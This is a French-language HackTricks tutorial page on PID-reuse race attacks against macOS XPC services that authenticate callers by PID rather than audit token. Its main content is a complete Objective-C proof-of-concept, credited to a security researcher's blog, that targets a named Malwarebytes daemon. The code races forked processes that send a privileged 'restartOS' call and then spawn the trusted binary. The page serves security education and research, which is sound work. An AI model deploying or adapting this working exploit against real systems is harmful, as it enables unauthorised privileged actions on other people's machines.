mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-27 15:12:11 +00:00
160 lines
8.5 KiB
Markdown
160 lines
8.5 KiB
Markdown
# Réutilisation de PID sur macOS
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
|
|
## Réutilisation de PID
|
|
|
|
Lorsqu'un service **XPC** de macOS vérifie le processus appelé en fonction du **PID** et non du **jeton d'audit**, il est vulnérable à une attaque de réutilisation de PID. Cette attaque est basée sur une **condition de concurrence** où une **exploitation** va **envoyer des messages à l'XPC** en **abusant** de la fonctionnalité et juste **après**, exécuter **`posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ)`** avec le binaire **autorisé**.
|
|
|
|
Cette fonction fera en sorte que le binaire **autorisé possède le PID**, mais le **message XPC malveillant aura été envoyé** juste avant. Ainsi, si le service **XPC** utilise le **PID** pour **authentifier** l'expéditeur et le vérifie **APRÈS** l'exécution de **`posix_spawn`**, il pensera qu'il provient d'un processus **autorisé**.
|
|
|
|
### Exemple d'exploitation
|
|
|
|
Si vous trouvez la fonction **`shouldAcceptNewConnection`** ou une fonction appelée par celle-ci appelant **`processIdentifier`** et ne faisant pas appel à **`auditToken`**, il est très probable qu'elle vérifie le PID du processus et non le jeton d'audit.\
|
|
Comme par exemple dans cette image (prise à partir de la référence) :
|
|
|
|
<figure><img src="../../../../.gitbook/assets/image (4) (1) (1) (1) (2).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
Vérifiez cet exemple d'exploitation (encore une fois, pris à partir de la référence) pour voir les 2 parties de l'exploitation :
|
|
|
|
* Une qui **génère plusieurs forks**
|
|
* **Chaque fork** enverra la **charge utile** au service XPC tout en exécutant **`posix_spawn`** juste après l'envoi du message.
|
|
|
|
{% hint style="danger" %}
|
|
Pour que l'exploitation fonctionne, il est important d'exporter export OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES ou de le mettre dans l'exploitation :
|
|
```objectivec
|
|
asm(".section __DATA,__objc_fork_ok\n"
|
|
"empty:\n"
|
|
".no_dead_strip empty\n");
|
|
```
|
|
{% endhint %}
|
|
```objectivec
|
|
// from https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/
|
|
|
|
#import <Foundation/Foundation.h>
|
|
#include <spawn.h>
|
|
#include <sys/stat.h>
|
|
|
|
#define RACE_COUNT 32
|
|
#define MACH_SERVICE @"com.malwarebytes.mbam.rtprotection.daemon"
|
|
#define BINARY "/Library/Application Support/Malwarebytes/MBAM/Engine.bundle/Contents/PlugIns/RTProtectionDaemon.app/Contents/MacOS/RTProtectionDaemon"
|
|
|
|
// allow fork() between exec()
|
|
asm(".section __DATA,__objc_fork_ok\n"
|
|
"empty:\n"
|
|
".no_dead_strip empty\n");
|
|
|
|
extern char **environ;
|
|
|
|
// defining necessary protocols
|
|
@protocol ProtectionService
|
|
- (void)startDatabaseUpdate;
|
|
- (void)restoreApplicationLauncherWithCompletion:(void (^)(BOOL))arg1;
|
|
- (void)uninstallProduct;
|
|
- (void)installProductUpdate;
|
|
- (void)startProductUpdateWith:(NSUUID *)arg1 forceInstall:(BOOL)arg2;
|
|
- (void)buildPurchaseSiteURLWithCompletion:(void (^)(long long, NSString *))arg1;
|
|
- (void)triggerLicenseRelatedChecks;
|
|
- (void)buildRenewalLinkWith:(NSUUID *)arg1 completion:(void (^)(long long, NSString *))arg2;
|
|
- (void)cancelTrialWith:(NSUUID *)arg1 completion:(void (^)(long long))arg2;
|
|
- (void)startTrialWith:(NSUUID *)arg1 completion:(void (^)(long long))arg2;
|
|
- (void)unredeemLicenseKeyWith:(NSUUID *)arg1 completion:(void (^)(long long))arg2;
|
|
- (void)applyLicenseWith:(NSUUID *)arg1 key:(NSString *)arg2 completion:(void (^)(long long))arg3;
|
|
- (void)controlProtectionWithRawFeatures:(long long)arg1 rawOperation:(long long)arg2;
|
|
- (void)restartOS;
|
|
- (void)resumeScanJob;
|
|
- (void)pauseScanJob;
|
|
- (void)stopScanJob;
|
|
- (void)startScanJob;
|
|
- (void)disposeOperationBy:(NSUUID *)arg1;
|
|
- (void)subscribeTo:(long long)arg1;
|
|
- (void)pingWithTag:(NSUUID *)arg1 completion:(void (^)(NSUUID *, long long))arg2;
|
|
@end
|
|
|
|
void child() {
|
|
|
|
// send the XPC messages
|
|
NSXPCInterface *remoteInterface = [NSXPCInterface interfaceWithProtocol:@protocol(ProtectionService)];
|
|
NSXPCConnection *xpcConnection = [[NSXPCConnection alloc] initWithMachServiceName:MACH_SERVICE options:NSXPCConnectionPrivileged];
|
|
xpcConnection.remoteObjectInterface = remoteInterface;
|
|
|
|
[xpcConnection resume];
|
|
[xpcConnection.remoteObjectProxy restartOS];
|
|
|
|
char target_binary[] = BINARY;
|
|
char *target_argv[] = {target_binary, NULL};
|
|
posix_spawnattr_t attr;
|
|
posix_spawnattr_init(&attr);
|
|
short flags;
|
|
posix_spawnattr_getflags(&attr, &flags);
|
|
flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED);
|
|
posix_spawnattr_setflags(&attr, flags);
|
|
posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ);
|
|
}
|
|
|
|
bool create_nstasks() {
|
|
|
|
NSString *exec = [[NSBundle mainBundle] executablePath];
|
|
NSTask *processes[RACE_COUNT];
|
|
|
|
for (int i = 0; i < RACE_COUNT; i++) {
|
|
processes[i] = [NSTask launchedTaskWithLaunchPath:exec arguments:@[ @"imanstask" ]];
|
|
}
|
|
|
|
int i = 0;
|
|
struct timespec ts = {
|
|
.tv_sec = 0,
|
|
.tv_nsec = 500 * 1000000,
|
|
};
|
|
|
|
nanosleep(&ts, NULL);
|
|
if (++i > 4) {
|
|
for (int i = 0; i < RACE_COUNT; i++) {
|
|
[processes[i] terminate];
|
|
}
|
|
return false;
|
|
}
|
|
|
|
return true;
|
|
}
|
|
|
|
int main(int argc, const char * argv[]) {
|
|
|
|
if(argc > 1) {
|
|
// called from the NSTasks
|
|
child();
|
|
|
|
} else {
|
|
NSLog(@"Starting the race");
|
|
create_nstasks();
|
|
}
|
|
|
|
return 0;
|
|
}obj
|
|
```
|
|
## Références
|
|
|
|
* [https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/](https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/)
|
|
* [https://saelo.github.io/presentations/warcon18\_dont\_trust\_the\_pid.pdf](https://saelo.github.io/presentations/warcon18\_dont\_trust\_the\_pid.pdf)
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
|
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|